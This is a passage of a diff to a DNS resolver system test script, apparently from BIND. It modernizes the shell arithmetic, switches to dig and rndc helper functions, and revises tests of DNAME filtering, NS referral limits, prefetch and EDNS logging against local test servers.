-fi
-
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking DNAME target filtering (deny) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp foo.baddname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp foo.baddname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "DNAME target foo.baddname.example.org denied for foo.baddname.example.net/IN" ns1/named.run >/dev/null || ret=1
 grep "status: SERVFAIL" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking DNAME target filtering (accept) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp foo.gooddname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp foo.gooddname.example.net @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking DNAME target filtering using dns_client (accept) ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 foo.gooddname.example.net > resolve.out.ns1.test${n} || ret=1
-    grep "foo.gooddname.example.net..*.gooddname.example.org" resolve.out.ns1.test${n} > /dev/null || ret=1
-    grep "foo.gooddname.example.org..*.192.0.2.1" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
-
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking DNAME target filtering (accept due to subdomain) ($n)"
 ret=0
-$DIG $DIGOPTS +tcp www.dname.sub.example.org @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
+dig_with_opts +tcp www.dname.sub.example.org @10.53.0.1 a > dig.out.ns1.test${n} || ret=1
 grep "status: NOERROR" dig.out.ns1.test${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
-
-if [ -x ${RESOLVE} ] ; then
-    n=`expr $n + 1`
-    echo_i "checking DNAME target filtering using dns_client (accept due to subdomain) ($n)"
-    ret=0
-    $RESOLVE $RESOLVOPTS -t a -s 10.53.0.1 www.dname.sub.example.org > resolve.out.ns1.test${n} || ret=1
-    grep "www.dname.sub.example.org..*.ok.sub.example.org." resolve.out.ns1.test${n} > /dev/null || ret=1
-    grep "www.ok.sub.example.org..*.192.0.2.1" resolve.out.ns1.test${n} > /dev/null || ret=1
-    if [ $ret != 0 ]; then echo_i "failed"; fi
-    status=`expr $status + $ret`
-fi
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that the resolver accepts a referral response with a non-empty ANSWER section ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.1 foo.glue-in-answer.example.org. A > dig.ns1.out.${n} || ret=1
+dig_with_opts @10.53.0.1 foo.glue-in-answer.example.org. A > dig.ns1.out.${n} || ret=1
 grep "status: NOERROR" dig.ns1.out.${n} > /dev/null || ret=1
 grep "foo.glue-in-answer.example.org.*192.0.2.1" dig.ns1.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that the resolver limits the number of NS records it follows in a referral response ($n)"
-# ns5 is the recusor being tested.  ns4 holds the sourcens zone containing names with varying numbers of NS
-# records pointing to non-existent nameservers in the targetns zone on ns6.
-ret=0
-$RNDCCMD 10.53.0.5 flush || ret=1   # Ensure cache is empty before doing this test
+# ns5 is the recusor being tested.  ns4 holds the sourcens zone containing
+# names with varying numbers of NS records pointing to non-existent
+# nameservers in the targetns zone on ns6.
+ret=0
+rndccmd 10.53.0.5 flush || ret=1   # Ensure cache is empty before doing this test
+count_fetches () {
+        actual=$(nextpartpeek ns5/named.run | grep -c " fetch: ns.fake${nscount}")
+        [ "${actual:-0}" -eq "${expected}" ] || return 1
+        return 0
+}
 for nscount in 1 2 3 4 5 6 7 8 9 10
 do
         # Verify number of NS records at source server
-        $DIG $DIGOPTS +norecurse @10.53.0.4 target${nscount}.sourcens ns > dig.ns4.out.${nscount}.${n}
-        sourcerecs=`grep NS dig.ns4.out.${nscount}.${n} | grep -v ';' | wc -l`
-        test $sourcerecs -eq $nscount || ret=1
-        test $sourcerecs -eq $nscount || echo_i "NS count incorrect for target${nscount}.sourcens"
+        dig_with_opts +norecurse @10.53.0.4 target${nscount}.sourcens ns > dig.ns4.out.${nscount}.${n}
+        sourcerecs=$(grep NS dig.ns4.out.${nscount}.${n} | grep -cv ';')
+        test "${sourcerecs}" -eq "${nscount}" || ret=1
+        test "${sourcerecs}" -eq "${nscount}" || echo_i "NS count incorrect for target${nscount}.sourcens"
+
         # Expected queries = 2 * number of NS records, up to a maximum of 10.
-        expected=`expr 2 \* $nscount`
-        if [ $expected -gt 10 ]; then expected=10; fi
-        # Work out the queries made by checking statistics on the target before and after the test
-        $RNDCCMD 10.53.0.6 stats || ret=1
-        initial_count=`awk '/responses sent/ {print $1}' ns6/named.stats`
-        mv ns6/named.stats ns6/named.stats.initial.${nscount}.${n}
-        $DIG $DIGOPTS @10.53.0.5 target${nscount}.sourcens A > dig.ns5.out.${nscount}.${n} || ret=1
-        $RNDCCMD 10.53.0.6 stats || ret=1
-        final_count=`awk '/responses sent/ {print $1}' ns6/named.stats`
-        mv ns6/named.stats ns6/named.stats.final.${nscount}.${n}
-        # Check number of queries during the test is as expected
-        actual=`expr $final_count - $initial_count`
-        if [ $actual -ne $expected ]; then
-                echo_i "query count error: $nscount NS records: expected queries $expected, actual $actual"
-                ret=1
-        fi
+        expected=$((nscount*2))
+        if [ "$expected" -gt 10 ]; then expected=10; fi
+        # Count the number of logged fetches
+        nextpart ns5/named.run > /dev/null
+        dig_with_opts @10.53.0.5 target${nscount}.sourcens A > dig.ns5.out.${nscount}.${n} || ret=1
+        retry_quiet 5 count_fetches ns5/named.run $nscount $expected || {
+            echo_i "query count error: $nscount NS records: expected queries $expected, actual $actual"; ret=1;
+        }
 done
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "RT21594 regression test check setup ($n)"
 ret=0
 # Check that "aa" is not being set by the authoritative server.
-$DIG $DIGOPTS +tcp . @10.53.0.4 soa > dig.ns4.out.${n} || ret=1
+dig_with_opts +tcp . @10.53.0.4 soa > dig.ns4.out.${n} || ret=1
 grep 'flags: qr rd;' dig.ns4.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "RT21594 regression test positive answers ($n)"
 ret=0
 # Check that resolver accepts the non-authoritative positive answers.
-$DIG $DIGOPTS +tcp . @10.53.0.5 soa > dig.ns5.out.${n} || ret=1
+dig_with_opts +tcp . @10.53.0.5 soa > dig.ns5.out.${n} || ret=1
 grep "status: NOERROR" dig.ns5.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "RT21594 regression test NODATA answers ($n)"
 ret=0
 # Check that resolver accepts the non-authoritative nodata answers.
-$DIG $DIGOPTS +tcp . @10.53.0.5 txt > dig.ns5.out.${n} || ret=1
+dig_with_opts +tcp . @10.53.0.5 txt > dig.ns5.out.${n} || ret=1
 grep "status: NOERROR" dig.ns5.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "RT21594 regression test NXDOMAIN answers ($n)"
 ret=0
 # Check that resolver accepts the non-authoritative positive answers.
-$DIG $DIGOPTS +tcp noexistent @10.53.0.5 txt > dig.ns5.out.${n} || ret=1
+dig_with_opts +tcp noexistent @10.53.0.5 txt > dig.ns5.out.${n} || ret=1
 grep "status: NXDOMAIN" dig.ns5.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that replacement of additional data by a negative cache no data entry clears the additional RRSIGs ($n)"
 ret=0
-$DIG $DIGOPTS +tcp mx example.net @10.53.0.7 > dig.ns7.out.${n} || ret=1
+dig_with_opts +tcp mx example.net @10.53.0.7 > dig.ns7.out.${n} || ret=1
 grep "status: NOERROR" dig.ns7.out.${n} > /dev/null || ret=1
 if [ $ret = 1 ]; then echo_i "mx priming failed"; fi
 $NSUPDATE << EOF
@@ -337,25 +224,25 @@ update delete mail.example.net A
 update add mail.example.net 0 AAAA ::1
 send
 EOF
-$DIG $DIGOPTS +tcp a mail.example.net @10.53.0.7 > dig.ns7.out.${n} || ret=2
+dig_with_opts +tcp a mail.example.net @10.53.0.7 > dig.ns7.out.${n} || ret=2
 grep "status: NOERROR" dig.ns7.out.${n} > /dev/null || ret=2
 grep "ANSWER: 0" dig.ns7.out.${n} > /dev/null || ret=2
 if [ $ret = 2 ]; then echo_i "ncache priming failed"; fi
-$DIG $DIGOPTS +tcp mx example.net @10.53.0.7 > dig.ns7.out.${n} || ret=3
+dig_with_opts +tcp mx example.net @10.53.0.7 > dig.ns7.out.${n} || ret=3
 grep "status: NOERROR" dig.ns7.out.${n} > /dev/null || ret=3
-$DIG $DIGOPTS +tcp rrsig mail.example.net +norec @10.53.0.7 > dig.ns7.out.${n}  || ret=4
+dig_with_opts +tcp rrsig mail.example.net +norec @10.53.0.7 > dig.ns7.out.${n}  || ret=4
 grep "status: NOERROR" dig.ns7.out.${n} > /dev/null || ret=4
 grep "ANSWER: 0" dig.ns7.out.${n} > /dev/null || ret=4
 if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking that update a nameservers address has immediate effects ($n)"
 ret=0
-$DIG $DIGOPTS +tcp TXT foo.moves @10.53.0.7 > dig.ns7.foo.${n} || ret=1
+dig_with_opts +tcp TXT foo.moves @10.53.0.7 > dig.ns7.foo.${n} || ret=1
 grep "From NS 5" dig.ns7.foo.${n} > /dev/null || ret=1
 $NSUPDATE << EOF
 server 10.53.0.7 ${PORT}
@@ -365,15 +252,15 @@ update add ns.server 300 A 10.53.0.4
 send
 EOF
 sleep 1
-$DIG $DIGOPTS +tcp TXT bar.moves @10.53.0.7 > dig.ns7.bar.${n} || ret=1
+dig_with_opts +tcp TXT bar.moves @10.53.0.7 > dig.ns7.bar.${n} || ret=1
 grep "From NS 4" dig.ns7.bar.${n} > /dev/null || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; status=1; fi
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking that update a nameservers glue has immediate effects ($n)"
 ret=0
-$DIG $DIGOPTS +tcp TXT foo.child.server @10.53.0.7 > dig.ns7.foo.${n} || ret=1
+dig_with_opts +tcp TXT foo.child.server @10.53.0.7 > dig.ns7.foo.${n} || ret=1
 grep "From NS 5" dig.ns7.foo.${n} > /dev/null || ret=1
 $NSUPDATE << EOF
 server 10.53.0.7 ${PORT}
@@ -383,59 +270,59 @@ update add ns.child.server 300 A 10.53.0.4
 send
 EOF
 sleep 1
-$DIG $DIGOPTS +tcp TXT bar.child.server @10.53.0.7 > dig.ns7.bar.${n} || ret=1
+dig_with_opts +tcp TXT bar.child.server @10.53.0.7 > dig.ns7.bar.${n} || ret=1
 grep "From NS 4" dig.ns7.bar.${n} > /dev/null || ret=1
 
 if [ $ret != 0 ]; then echo_i "failed"; status=1; fi
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking empty RFC 1918 reverse zones ($n)"
 ret=0
 # Check that "aa" is being set by the resolver for RFC 1918 zones
 # except the one that has been deliberately disabled
-$DIG $DIGOPTS @10.53.0.7 -x 10.1.1.1 > dig.ns4.out.1.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 10.1.1.1 > dig.ns4.out.1.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.1.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 192.168.1.1 > dig.ns4.out.2.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 192.168.1.1 > dig.ns4.out.2.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.2.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.16.1.1  > dig.ns4.out.3.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.16.1.1  > dig.ns4.out.3.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.3.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.17.1.1 > dig.ns4.out.4.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.17.1.1 > dig.ns4.out.4.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.4.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.18.1.1 > dig.ns4.out.5.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.18.1.1 > dig.ns4.out.5.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.5.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.19.1.1 > dig.ns4.out.6.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.19.1.1 > dig.ns4.out.6.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.6.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.21.1.1 > dig.ns4.out.7.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.21.1.1 > dig.ns4.out.7.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.7.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.22.1.1 > dig.ns4.out.8.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.22.1.1 > dig.ns4.out.8.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.8.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.23.1.1 > dig.ns4.out.9.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.23.1.1 > dig.ns4.out.9.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.9.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.24.1.1 > dig.ns4.out.11.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.24.1.1 > dig.ns4.out.11.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.11.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.25.1.1 > dig.ns4.out.12.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.25.1.1 > dig.ns4.out.12.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.12.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.26.1.1 > dig.ns4.out.13.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.26.1.1 > dig.ns4.out.13.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.13.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.27.1.1 > dig.ns4.out.14.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.27.1.1 > dig.ns4.out.14.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.14.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.28.1.1 > dig.ns4.out.15.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.28.1.1 > dig.ns4.out.15.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.15.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.29.1.1 > dig.ns4.out.16.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.29.1.1 > dig.ns4.out.16.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.16.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.30.1.1 > dig.ns4.out.17.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.30.1.1 > dig.ns4.out.17.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.17.${n} > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.7 -x 172.31.1.1 > dig.ns4.out.18.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.31.1.1 > dig.ns4.out.18.${n} || ret=1
 grep 'flags: qr aa rd ra;' dig.ns4.out.18.${n} > /dev/null || ret=1
 # but this one should NOT be authoritative
-$DIG $DIGOPTS @10.53.0.7 -x 172.20.1.1 > dig.ns4.out.19.${n} || ret=1
+dig_with_opts @10.53.0.7 -x 172.20.1.1 > dig.ns4.out.19.${n} || ret=1
 grep 'flags: qr rd ra;' dig.ns4.out.19.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; status=1; fi
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "checking that removal of a delegation is honoured ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.5 www.to-be-removed.tld A > dig.ns5.prime.${n}
+dig_with_opts @10.53.0.5 www.to-be-removed.tld A > dig.ns5.prime.${n}
 grep "status: NOERROR" dig.ns5.prime.${n} > /dev/null || { ret=1; echo_i "priming failed"; }
 cp ns4/tld2.db ns4/tld.db
 rndc_reload ns4 10.53.0.4 tld
@@ -443,8 +330,8 @@ old=
 for i in 0 1 2 3 4 5 6 7 8 9
 do
 	foo=0
-	$DIG $DIGOPTS @10.53.0.5 ns$i.to-be-removed.tld A > /dev/null
-	$DIG $DIGOPTS @10.53.0.5 www.to-be-removed.tld A > dig.ns5.out.${n}
+	dig_with_opts @10.53.0.5 ns$i.to-be-removed.tld A > /dev/null
+	dig_with_opts @10.53.0.5 www.to-be-removed.tld A > dig.ns5.out.${n}
 	grep "status: NXDOMAIN" dig.ns5.out.${n} > /dev/null || foo=1
 	[ $foo = 0 ] && break
 	$NSUPDATE << EOF
@@ -460,74 +347,74 @@ done
 [ $ret = 0 ] && ret=$foo;
 if [ $ret != 0 ]; then echo_i "failed"; status=1; fi
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check for improved error message with SOA mismatch ($n)"
 ret=0
-$DIG $DIGOPTS @10.53.0.1 www.sub.broken aaaa > dig.out.ns1.test${n} || ret=1
+dig_with_opts @10.53.0.1 www.sub.broken aaaa > dig.out.ns1.test${n} || ret=1
 grep "not subdomain of zone" ns1/named.run > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 copy_setports ns7/named2.conf.in ns7/named.conf
-$RNDCCMD 10.53.0.7 reconfig 2>&1 | sed 's/^/ns7 /' | cat_i
+rndccmd 10.53.0.7 reconfig 2>&1 | sed 's/^/ns7 /' | cat_i
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check resolution on the listening port ($n)"
 ret=0
-$DIG $DIGOPTS +tcp +tries=2 +time=5 mx example.net @10.53.0.7 > dig.ns7.out.${n} || ret=2
+dig_with_opts +tcp +tries=2 +time=5 mx example.net @10.53.0.7 > dig.ns7.out.${n} || ret=2
 grep "status: NOERROR" dig.ns7.out.${n} > /dev/null || ret=1
 grep "ANSWER: 1" dig.ns7.out.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; ret=1; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check prefetch (${n})"
 ret=0
 # read prefetch value from config.
-PREFETCH=`sed -n "s/[[:space:]]*prefetch \([0-9]\).*/\1/p" ns5/named.conf`
-$DIG $DIGOPTS @10.53.0.5 fetch.tld txt > dig.out.1.${n} || ret=1
-ttl1=`awk '/"A" "short" "ttl"/ { print $2 }' dig.out.1.${n}`
+PREFETCH=$(sed -n "s/[[:space:]]*prefetch \([0-9]\).*/\1/p" ns5/named.conf)
+dig_with_opts @10.53.0.5 fetch.tld txt > dig.out.1.${n} || ret=1
+ttl1=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.1.${n})
 interval=$((ttl1 - PREFETCH + 1))
 # sleep so we are in prefetch range
 sleep ${interval:-0}
 # trigger prefetch
-$DIG $DIGOPTS @10.53.0.5 fetch.tld txt > dig.out.2.${n} || ret=1
-ttl2=`awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n}`
+dig_with_opts @10.53.0.5 fetch.tld txt > dig.out.2.${n} || ret=1
+ttl2=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n})
 sleep 1
 # check that prefetch occurred
-$DIG $DIGOPTS @10.53.0.5 fetch.tld txt > dig.out.3.${n} || ret=1
-ttl=`awk '/"A" "short" "ttl"/ { print $2 }' dig.out.3.${n}`
-test ${ttl:-0} -gt ${ttl2:-1} || ret=1
+dig_with_opts @10.53.0.5 fetch.tld txt > dig.out.3.${n} || ret=1
+ttl=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.3.${n})
+test "${ttl:-0}" -gt "${ttl2:-1}" || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check prefetch of validated DS's RRSIG TTL is updated (${n})"
 ret=0
-$DIG $DIGOPTS +dnssec @10.53.0.5 ds.example.net ds > dig.out.1.${n} || ret=1
-dsttl1=`awk '$4 == "DS" && $7 == "2" { print $2 }' dig.out.1.${n}`
+dig_with_opts +dnssec @10.53.0.5 ds.example.net ds > dig.out.1.${n} || ret=1
+dsttl1=$(awk '$4 == "DS" && $7 == "2" { print $2 }' dig.out.1.${n})
 interval=$((dsttl1 - PREFETCH + 1))
 # sleep so we are in prefetch range
 sleep ${interval:-0}
 # trigger prefetch
-$DIG $DIGOPTS @10.53.0.5 ds.example.net ds > dig.out.2.${n} || ret=1
-dsttl2=`awk '$4 == "DS" && $7 == "2" { print $2 }' dig.out.2.${n}`
+dig_with_opts @10.53.0.5 ds.example.net ds > dig.out.2.${n} || ret=1
+dsttl2=$(awk '$4 == "DS" && $7 == "2" { print $2 }' dig.out.2.${n})
 sleep 1
 # check that prefetch occurred
-$DIG $DIGOPTS @10.53.0.5 ds.example.net ds +dnssec > dig.out.3.${n} || ret=1
-dsttl=`awk '$4 == "DS" && $7 == "2" { print $2 }' dig.out.3.${n}`
-sigttl=`awk '$4 == "RRSIG" && $5 == "DS" { print $2 }' dig.out.3.${n}`
-test ${dsttl:-0} -gt ${dsttl2:-1} || ret=1
-test ${sigttl:-0} -gt ${dsttl2:-1} || ret=1
-test ${dsttl:-0} -eq ${sigttl:-1} || ret=1
+dig_with_opts @10.53.0.5 ds.example.net ds +dnssec > dig.out.3.${n} || ret=1
+dsttl=$(awk '$4 == "DS" && $7 == "2" { print $2 }' dig.out.3.${n})
+sigttl=$(awk '$4 == "RRSIG" && $5 == "DS" { print $2 }' dig.out.3.${n})
+test "${dsttl:-0}" -gt "${dsttl2:-1}" || ret=1
+test "${sigttl:-0}" -gt "${dsttl2:-1}" || ret=1
+test "${dsttl:-0}" -eq "${sigttl:-1}" || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check prefetch disabled (${n})"
 ret=0
-$DIG $DIGOPTS @10.53.0.7 fetch.example.net txt > dig.out.1.${n} || ret=1
-ttl1=`awk '/"A" "short" "ttl"/ { print $2 }' dig.out.1.${n}`
+dig_with_opts @10.53.0.7 fetch.example.net txt > dig.out.1.${n} || ret=1
+ttl1=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.1.${n})
 interval=$((ttl1 - PREFETCH + 1))
 # sleep so we are in expire range
 sleep ${interval:-0}
@@ -536,98 +423,102 @@ no_prefetch() {
 	# fetch record and ensure its ttl is in range 0 < ttl < tmp_ttl.
 	# since prefetch is disabled, updated ttl must be a lower value than
 	# the previous one.
-	$DIG $DIGOPTS @10.53.0.7 fetch.example.net txt > dig.out.2.${n} || return 1
-	ttl2=`awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n}`
+	dig_with_opts @10.53.0.7 fetch.example.net txt > dig.out.2.${n} || return 1
+	ttl2=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n})
         # check that prefetch has not occurred
-        if [ $ttl2 -ge $tmp_ttl ]; then
+        if [ "$ttl2" -ge "${tmp_ttl}" ]; then
                 return 1
         fi
         tmp_ttl=$ttl2
 }
 retry_quiet 3 no_prefetch || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check prefetch qtype * (${n})"
 ret=0
-$DIG $DIGOPTS @10.53.0.5 fetchall.tld any > dig.out.1.${n} || ret=1
-ttl1=`awk '/"A" "short" "ttl"/ { print $2 - 3 }' dig.out.1.${n}`
+dig_with_opts @10.53.0.5 fetchall.tld any > dig.out.1.${n} || ret=1
+ttl1=$(awk '/"A" "short" "ttl"/ { print $2 - 3 }' dig.out.1.${n})
 # sleep so we are in prefetch range
-sleep ${ttl1:-0}
+sleep "${ttl1:-0}"
 # trigger prefetch
-$DIG $DIGOPTS @10.53.0.5 fetchall.tld any > dig.out.2.${n} || ret=1
-ttl2=`awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n}`
+dig_with_opts @10.53.0.5 fetchall.tld any > dig.out.2.${n} || ret=1
+ttl2=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.2.${n})
 sleep 1
-# check that the nameserver is still alive
-$DIG $DIGOPTS @10.53.0.5 fetchall.tld any > dig.out.3.${n} || ret=1
+# check that prefetch occurred;
+# note that only one record is prefetched, which is the TXT record in this case,
+# because of the order of the records in the cache
+dig_with_opts @10.53.0.5 fetchall.tld any > dig.out.3.${n} || ret=1
+ttl3=$(awk '/"A" "short" "ttl"/ { print $2 }' dig.out.3.${n})
+test "${ttl3:-0}" -gt "${ttl2:-1}" || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that E was logged on EDNS queries in the query log (${n})"
 ret=0
-$DIG $DIGOPTS @10.53.0.5 +edns edns.fetchall.tld any > dig.out.2.${n} || ret=1
+dig_with_opts @10.53.0.5 +edns edns.fetchall.tld any > dig.out.2.${n} || ret=1
 grep "query: edns.fetchall.tld IN ANY +E" ns5/named.run > /dev/null || ret=1
-$DIG $DIGOPTS @10.53.0.5 +noedns noedns.fetchall.tld any > dig.out.2.${n} || ret=1
+dig_with_opts @10.53.0.5 +noedns noedns.fetchall.tld any > dig.out.2.${n} || ret=1
 grep "query: noedns.fetchall.tld IN ANY" ns5/named.run > /dev/null || ret=1
 grep "query: noedns.fetchall.tld IN ANY +E" ns5/named.run > /dev/null && ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that '-t aaaa' in .digrc does not have unexpected side effects ($n)"
 ret=0
 echo "-t aaaa" > .digrc
-env HOME=`pwd` $DIG $DIGOPTS @10.53.0.4 . > dig.out.1.${n} || ret=1
-env HOME=`pwd` $DIG $DIGOPTS @10.53.0.4 . A > dig.out.2.${n} || ret=1
-env HOME=`pwd` $DIG $DIGOPTS @10.53.0.4 -x 127.0.0.1 > dig.out.3.${n} || ret=1
+(HOME="$(pwd)" dig_with_opts @10.53.0.4 . > dig.out.1.${n}) || ret=1
+(HOME="$(pwd)" dig_with_opts @10.53.0.4 . A > dig.out.2.${n}) || ret=1
+(HOME="$(pwd)" dig_with_opts @10.53.0.4 -x 127.0.0.1 > dig.out.3.${n}) || ret=1
 grep ';\..*IN.*AAAA$' dig.out.1.${n} > /dev/null || ret=1
 grep ';\..*IN.*A$' dig.out.2.${n} > /dev/null || ret=1
 grep 'extra type option' dig.out.2.${n} > /dev/null && ret=1
 grep ';1\.0\.0\.127\.in-addr\.arpa\..*IN.*PTR$' dig.out.3.${n} > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
-edns=`$FEATURETEST --edns-version`
+edns=$($FEATURETEST --edns-version)
 
-n=`expr $n + 1`
+n=$((n+1))
 echo_i "check that EDNS version is logged (${n})"
 ret=0
-$DIG $DIGOPTS @10.53.0.5 +edns edns0.fetchall.tld any > dig.out.2.${n} || ret=1
+dig_with_opts @10.53.0.5 +edns edns0.fetchall.tld any > dig.out.2.${n} || ret=1
 grep "query: edns0.fetchall.tld IN ANY +E(0)" ns5/named.run > /dev/null || ret=1
-if test ${edns:-0} != 0; then
